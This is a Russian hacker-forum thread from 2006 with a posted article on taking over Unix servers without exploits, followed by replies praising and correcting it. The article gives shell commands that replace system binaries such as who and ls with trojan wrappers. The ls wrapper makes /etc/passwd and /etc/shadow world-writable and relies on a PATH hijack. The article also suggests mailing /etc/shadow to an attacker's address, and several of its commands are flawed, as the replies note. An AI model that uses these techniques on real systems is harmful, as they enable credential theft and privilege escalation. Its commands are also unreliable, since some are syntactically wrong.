Захват никсов без сплойтов

Discussion in 'Болталка' started by darky, 25 Jun 2006.

  1. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Re Achat ;)

    Бывает особо параноидальные админы удаляют с серваков компиляторы. Пытаемся установить гцц из рмп пакета... ааах облом он не работает -) Скомпиленные на других машинках сплоиты явно отказываются работать, ругаясь на сегоднящний дождь/жару и просто плохое настроение.. Что делать? вот и задумался.. пока не натолкнулся на одном из форумов на интерестную идейку, которая в принципе известна, но вот решил расписать ее поподробней.. Его может юзать как админ так и ты, c00l m3g4 h4x0r =) Итак приступим.

    Если брать в расчет админа, то ему провернуть все это намного легче, т.к. он уже "по условию задачи" обладает рутом ) Что проделываем хакер, проникая в систему? чаще всего юзает команды типа ls, last, who, id, which, uname и т.д. И основная задача админа в случае проникновения взломщика установить своеобразные ловушки на эти команды. Постойте, у нас же нет компилятора? Зато у нас есть руки =) Все можно проделать с помощью перля, питона или просто средстави нашых никсов. Возьмём к примеру who. Определим где она у нас находится следущим образом:
    Code:
    which who
    В ответ получаем что-то вроде /usr/bin/who
    Права на неё равны –rwxr-xr-x, что сопостовимо с 755. Переименовываем who например в who_new. Делаем это следующим образом:
    Code:
    mv /usr/bin/who /usr/bin/who_new
    Изменяем права на who_new на 755, чтобы он мог выполняться:
    Code:
    сhmod 755 /usr/bin/who_new
    Теперь чтобы выполнить who надо выполнить в консоли who_new (Главное не забудьте вернуть скопированному файлу права, а то ничего не будет работать). Теперь создаем некий клапан для who. Это будет одноименный файл в /usr/bin. Т.е. когда взломщик попытается выполнить who, то будет запускаться наш с вами файл. Для того чтобы записать в новый who нужные нам команды выполним последовательно
    Code:
    сat /usr/bin/who
    /usr/bin/who_new
    id | mail –n –s Your Base_Is_Under_Attack your@mail
    Жмём CTRL+D и ввод закончен, все записалось в /usr/bin/who
    Первая и вторая строчка надеюсь понятна, третья же отправляет тебе на почту то, что выдала команда id с заголовком Your Base_Is_Under_Attack -) Ключ -n передает заголовок письма, -s запретит просмотр /etc/mail.rc, чтобы хацкер ничего не заподозрил.
    Этим способом можно подменить любую исполняемую программу, главное запомнить что и как менял , а лучше записать на бумажке -))

    ----------------------------------------

    Да, все отлично - скажите вы.. А как быть, если права у тебя не root, а жалкие nobody или обычного юзера?
    Работа с исполняемыми файлами в основном в таком случае запрещена. Но у нас есть еще один инструмент в арсенале - переменная окружения PATH Поэксперементируем с ls
    Допустим у нас есть права на запись в /tmp. Тогда создадим следущий файл под названием ls.
    Запишем в него следущие строчки:
    Code:
    #! /bin/sh	
    сhmod 777 /etc/passwd > /dev/null
    сhmod 777 /etc/shadow > /dev/null
    ехес   /bin/ls “$@"
    Разберем, что же мы накатали. Во второй и третьей строчке содержатся команды изменения прав на файл юзеров и паролей + обнуление всех месаг, которые могут появиться на экране. В 4ой выполняется команда ls из /bin. Так как мы создали этот файл, то мы можем поставить любые права на него, ставим 777
    Code:
    сhmod 777 /tmp/ls
    Наш файл готов. Осалось сделать так, чтобы он выполнялся вместо реальной ls. Ничего нет проще =) Для этого просто добавляем каталог /tmp в самое(!) начало системной переменной окружения PATH. Для этого всеголишь подправляем файлик .bash_profile, в строчке PATH=$PATH:/sbin:/usr/sbin/:/usr/local/sbin добавляем наш каталог.
    Итак теперь если у пользователя хватит прав на изменение прав (скорее всего у рута), то /etc/shadow и /etc/passwd откроются для всеобщего обозрения -)
    Можно вставить в нашу фэйковую ls что-то вроде cat /etc/shadow | mail your@mail (просто отсылает зашифровынные пароли на мыло). Вобщем тут можно делать все что хочешь)
    Единственное что может делать админ в этом случае - проверять переменную PATH, убрать ставящиеся по дефолту права,либо задавать полный путь до исполняемого фала, т.е. для просмотра содержимого каталога вводить каждый раз /bin/ls -lia.. Даже законченный параноик не будет этого делать...
    В статье мы научились захватывать сервак без использования палевных сплойтов, рушивших систему или просто не работающих =)

    Special For Achat
    (c) blackybr

    PS т.к. многим личностям оказалось непонятно, то поясняю.. для превого случаю нужен РУТ (т.к. по условию вы админ!) ДЛя второго нужен просто юзэр доступ!
     
    #1 darky, 25 Jun 2006
    Last edited: 27 Jun 2006
    10 people like this.
  2. Dracula4ever

    Dracula4ever Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    418
    Likes Received:
    183
    Reputations:
    26
    Молодец!!!

    Мне понравилась твоя статья
     
  3. bl4ck-cat

    bl4ck-cat Elder - Старейшина

    Joined:
    17 Jun 2006
    Messages:
    52
    Likes Received:
    12
    Reputations:
    10
    Накатал аж на + :)
    Статья хорошая
     
  4. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Хорошая статья!
     
  5. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Статья в норме, но можно и получше...
     
  6. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    кто найдет 2 ошибки в этой строке - тому +4 )
     
  7. Dracula4ever

    Dracula4ever Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    418
    Likes Received:
    183
    Reputations:
    26
    /usr/bin/who
    /usr/bin/who_new
     
  8. bl4ck-cat

    bl4ck-cat Elder - Старейшина

    Joined:
    17 Jun 2006
    Messages:
    52
    Likes Received:
    12
    Reputations:
    10
    нашел пока 1
    mv вместо mw
    =)
     
    1 person likes this.
  9. Go0o$E

    Go0o$E Members of Antichat

    Joined:
    27 Jan 2006
    Messages:
    304
    Likes Received:
    228
    Reputations:
    419
    Вроде правильно так: mv usr/bin/who usr/bin/who_new
     
  10. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Я думаю, нерезус имел в виду, что во втором коде используется не /usr/bin/who_new, а /usr/bin/system_who, ну и конечто как уже сказал bl4ck-cat mv, а не mw, но ведь никто от ошибок не застрахован.
     
    #10 hidden, 25 Jun 2006
    Last edited: 25 Jun 2006
  11. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    1. mw - mv
    2. mv /usr/bin/who /usr/bin/who_new просто переименует файл /usr/bin/who на /usr/bin/who_new.. т.е правильней было бы cp /usr/bin/who /usr/bin/who_new.
     
    _________________________
    1 person likes this.
  12. limpompo

    limpompo Новичок

    Joined:
    27 Aug 2005
    Messages:
    1,402
    Likes Received:
    308
    Reputations:
    453
    mv /usr/bin/who /usr/bin/who_lol
     
  13. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Для всего описанного в статье нужны права рута.
     
  14. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    3 ошибки оказалось )
     
  15. bl4ck-cat

    bl4ck-cat Elder - Старейшина

    Joined:
    17 Jun 2006
    Messages:
    52
    Likes Received:
    12
    Reputations:
    10
    nerezus
    хм... а файл .bash_profile разве нельзя подредактировать без рута?
     
  16. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Рут нужен только для первго случая, а для изменения переменной path нужен гостевой дочтуп (иногда и нободи сойдёт) . Проверено и не один раз
     
  17. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    с411k а нам и нужно ПРОСТО переименовать его

     
    1 person likes this.
  18. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    ты ее изменишь себе.
     
  19. limpompo

    limpompo Новичок

    Joined:
    27 Aug 2005
    Messages:
    1,402
    Likes Received:
    308
    Reputations:
    453
    Гы для того что-бы переименовать who нужны права РУТА!
     
  20. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Угу, я это второй ошибкой и назвал.